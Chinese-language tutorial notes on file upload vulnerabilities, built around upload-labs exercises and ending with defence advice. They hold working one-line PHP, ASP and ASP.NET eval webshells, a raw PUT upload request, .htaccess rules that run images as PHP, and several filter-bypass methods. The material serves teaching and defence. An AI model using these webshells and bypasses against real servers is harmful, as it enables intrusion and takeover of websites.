文件上传漏洞

漏洞概述

  • 文件上传是Web应用的必备功能之一,比如上传头像显示个性化,上传附件共享文件,上传脚本更新网站等.如果服务器配置不当或者没有进行足够的过滤,Web用户就可以上传任意文件,包括恶意脚本文件,exe程序等,这就造成了文件上传漏洞

漏洞成因

  • 文件上传漏洞的成因,一方面服务器配置不当会导致任意文件上传;另一方面,Web应用开放了文件上传功能,并且对上传的文件没有进行足够的限制;再者就是,程序开发部署时候,没有考虑到系统特性和验证和过滤不严格而导致限制被绕过,上传任意文件

漏洞危害

  • 上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本,程序等.如果Web服务器所保存上传文件的可写目录具有执行权限,那么就可以直接上传后门文件,导致网站沦陷.如果攻击者通过其他漏洞进行提权操作,拿到系统管理权限,那么直接导致服务器沦陷.同服务器下的其他网站无一幸免,均会被攻击者控制.通过上传漏洞获得的网站后门,就是WebShell

WebShell

  • 在计算机科学中,Shell俗称壳(用来区别于"核"),是指"为使用者提供操作界面"的软件(命令解释器).类似于windows系统给的cmd.exe或者linux下bash等,虽然这些系统上的命令解释器不止一种
  • WebShell是一个网站的后门,也是一个命令解释器,不过是以Web方式(HTTP协议)通信(传递命令消息),继承了Web用户的权限.WebShell本质上是在服务器端可运行的脚本文件,后缀名为.php/.asp/.aspx/.jsp 等,也就是说WebShell接收来自于Web用户的命令,然后再服务器端执行

大马

  • WebShell也可以是大马,也是网站木马.有一类WebShell之所以叫大马,是因为与小马(一句话木马)区分开,并且代码比较大,但是功能比较丰富.同样,大马有很多种脚本格式,其功能基本相同.每个团队都有自己的定制大马.以下是一个简单的例子.输入密码,密码一般直接写在木马文件中

小马

  • 小马就是一句话木马,因为其代码量比较小,就是一句简单的代码.以下是各个脚本的一句话
  • 一句话木马短小精悍,功能强大,但是需要配合中国菜刀或者中国蚁剑客户端使用,中国菜刀是一句话木马的管理器,也是命令操作接口.中国菜刀在连接一句话木马的时候需要填写密码(实际上就是变量名).例如,我们上传一个php的一句话木马,密码就是cmd

  • ASP
<%eval request("cmd")%>
  • ASP.NET
<%@ Page Language="Jscript"%>
<%eval(Request.Item["cmd"],"unsafe");%>
  • PHP
<?php @eval($_REQUEST['cmd']);?>
  • 中国菜刀与一句话木马配合实现了三大基本功能
  1. 在中国菜刀页面继承Web用户权限可以实现文件管理,包括文件查看,上传,下载,修改,删除甚至运行程序
  2. 在中国菜刀下可以获得类似于cmd和bash的命令行接口,可以执行相关命令
  3. 我们可以使用中国菜刀进行数据库管理,此时需要知道连接数据库的账密

文件上传漏洞利用的条件

用到的工具和测试代码

中国蚁剑需要使用加载器配合源码一起使用

  1. Web服务器要开启文件上传功能,并且上传api(接口)对外开放(Web用户可以访问)
  2. Web用户对目标目录具有可写权限,甚至具有执行权限,一般情况下,Web目录都有执行权限.
  3. 要想完美利用文件上传漏洞,就是上传的文件可以执行,也就是Web容器可以解析我们上传的脚本,无论脚本以什么样的形式存在.
  4. 无视以上条件的情况就是服务器配置不当,开启了PUT方法

黑白名单策略

黑白名单是最常用的安全策略之一.在计算机安全中,黑白名单类似于一个列表,列表中写了一些条件或规则,如果在黑名单中,一律禁止,如果在白名单中,一律允许

PUT方法上传文件

HTTP请求方法之一,允许向服务器直接写入文件

  • 测试Apache是否开启了put方法
telnet 172.16.132.161 80

OPTIONS / HTTP/1.1
HOST:172.16.132.161
  • apache开启put方法操作
httpd.conf

;开启模块
LoadModule dav_module modules/mod_dav.so
LoadModule dav_fs_module modules/mod_dav_fs.so

;启用模块
<Directory />
    Options +Indexes +FollowSymLinks +ExecCGI
    AllowOverride All
    Order allow,deny
    Allow from all
    Require all granted
    DAV On
</Directory>

开启文件锁
DavLockDB c:\phpstudy\www\DavLock
  • 上传文件
telnet 172.16.132.161 80

PUT /info.php HTTP/1.1
HOST: 172.16.132.161
Content-Length: 18

<?php phpinfo();?>

前端限制与绕过

有些Web应用的文件上传功能,仅在前端用JS脚本做了检测,如检测文件后缀名等.upload-labs第一关,以下是经典的代码

<script type="text/javascript">
    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
</script>

QQ截图20201223152000.png

  • 此段JS代码采用白名单策略,检测文件后缀名.配合表单事件使用
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
                <p>请选择要上传的图片:</p><p>
                <input class="input_file" type="file" name="upload_file">
                <input class="button" type="submit" name="submit" value="上传">
            </p>
</form>

QQ截图20201223152114.png

  • 前端JS脚本检测的安全防御是十分薄弱的.可以非常轻松的绕过
  • 方法一:因为JS脚本的运行环境是浏览器,我们可以修改JS代码,甚至删除表单事件
  • 方法二:使恶意文件后缀名符合白名单策略,用Burp挂代理抓包,然后修改文件后缀名即可
  • 对于文件上传,一般在服务器端检测,采用黑白名单策略

服务器端检测MIME类型

MIME(Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准.MIME 消息能包含文本,图像,音频,视频以及其他应用程序专用的数据

  • 常见的MIME类型
文件扩展名 Mime-Type
.js application/x-javascript
.html text/html
.jpg image/jpeg
.png image/png
.pdf application/pdf

在HTTP协议中,使用Content-Type字段表示文件的MIME类型.当我们上传文件的时候,抓到HTTP数据包.由于服务器在检测Content-Type类型的时候,取得的变量来自于用户,所以可以用Burp抓包,修改这个字段,使其合法,即可绕过限制上传任意文件

QQ截图20201223153705.png

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

服务器端检测文件内容

除了检测上传文件的Content-Type类型,为了保持安全性,服务器端还会检测文件内容.PHP中有一个函数getimagesize(),这个函数本意是检查图片的大小,但是在检查之前,该函数会判断目标文件是否是一张图片.因此,可以用该函数来检测文件的内容

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}
  • 对于文件内容检测,我们可以通过制作上传图片木马绕过
  • 将以下十六进制转换为字符串写入文件首行,之后写入一句话木马绕过内容检测
  • 将代码上传到服务器后虽然不可以直接执行,但可以配合其他漏洞去执行
类型 开头十六进制编码
png 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
jpg FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C
gif 47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33

服务器端检测后缀名

服务器端还会检测文件后缀名,依然会采用黑白名单策略.黑名单策略,不允许上传php,asp,aspx,jsp等可执行脚本的文件;白名单策略,只允许上传jpg,gif,png,doc,rar等格式的文件

  • 黑名单

对于黑名单,我们可以寻找其他可允许上传的类型来绕过限制

  • php : .php,.php2,.php3,.php5,.phtml

  • asp : .asp,.aspx,.ascx,.ashx,.asa,.cer

  • jsp : .jsp,.jspx

  • 白名单

对于后缀名白名单策略,我们只能上传在白名单内的文件后缀名

空字符截断

00就是Null,表示空字符,URL中表现为%00,在c语言中,一个字符串以\0作为结束的标记,由于php的底层就是c语言,所以php也继承了这个特性,空字符截断会导致文件上传路径截断

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = '上传失败!';
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

QQ截图20201224094136.png

QQ截图20201224094252.png

.htaccess攻击

.htaccess是服务器的分布式配置文件,该配置文件会覆盖服务器的全局配置,作用域是当前目录及其子目录.如果一个Web应用允许上传.htaccess文件,那就意味着攻击者可以更改服务器的配置,这是十分危险

.png文件当作PHP文件解析

将以下代码写入.htaccess文件,放到测试目录下

# define width 16
# define height 7
AddType application/x-httpd-php .png

在该目录下打开.png文件`将会被当作PHP文件解析

QQ截图20201224095259.png

文件名中包含php关键字

当文件名muma.php.png中包含关键字.php,并且.htaccess文件内容如下,info.php.png中的代码会被执行

AddHandler php5-script php

QQ截图20201224095651.png

匹配文件名

以下配置是匹配文件名1997sty匹配该文件名,并执行其中的PHP代码

<FilesMatch "1997sty">
SetHandler application/x-httpd-php
</FilesMatch>

QQ截图20201224095929.png

upload-labs上传.htaccess

绕开所有的黑名单后缀,通过.htaccess来运行php代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

QQ截图20201224100115.png

QQ截图20201224100103.png

Web容器解析漏洞

Web容器解析漏洞,就是Web容器在解析脚本出现的bug

Apache解析漏洞

Apache在判断文件后缀时,会从右向左一次获取后缀,直到获取到认识的后缀,如果对文件名加以修改,文件上传后可以骗过服务器执行php代码

QQ截图20201224100947.png

IIS6.0解析漏洞

iis使用;隔断文件名,骗过服务器执行代码

QQ截图20201224101147.png

iis使用目录来生成后缀,骗过服务器执行代码

QQ截图20201224105550.png

PHP CGI解析漏洞

漏洞环境为IIS7.0/7.5+PHP环境

  • http://localhost:8000/info.png/.php
  • info.png文件中是php代码,当访问url追加/.php,就会骗过服务器执行代码

QQ截图20201224110318.png

防御该漏洞只需要把请求限制中,映射限制为文件

QQ截图20201224110640.png

或者可以将php配置文件中cgi.fix_pathinfo参数的值改为0

QQ截图20201224111013.png

Nginx 解析漏洞

QQ截图20201224112408.png

QQ截图20201224112419.png

Nginx空字节漏洞

info.html文件内容

  • 使用%00字符隔断路径,让nginx判断路径忽略后面的.php,在获取结尾部分的文件类型,让nginx解析为php文件

QQ截图20201224142305.png

QQ截图20201224142232.png

Nginx文件名逻辑漏洞

上传文件加入了1个空格1.gif

QQ截图20201224150149.png

成功上传图片木马

QQ截图20201224145620.png

burp修改请求信息

QQ截图20201224150452.png

QQ截图20201224150515.png

漏洞防御

关于文件上传的防御,防住危险的脚本类型是最基本的防御,最理想的是能够过滤掉图片马中的恶意代码.如果一个Web应用能够上传图片木马,那么我们认为这个Web应用是不安全的

代码角度

  1. 采用白名单策略,严格限制上传文件的后缀名.
  2. 进行二次渲染,过滤掉图片马中的恶意代码.
  3. 上传文件重命名,尽量少的从客户端获取信息.
  4. 避免文件包含漏洞.
  5. 严格处理文件路径,防御00截断漏洞,避开空格,.,::$DATA等windows特性

服务器角度

  1. 及时更新Web容器,防止解析漏洞的产生
  2. 可写目录不给执行权限

参考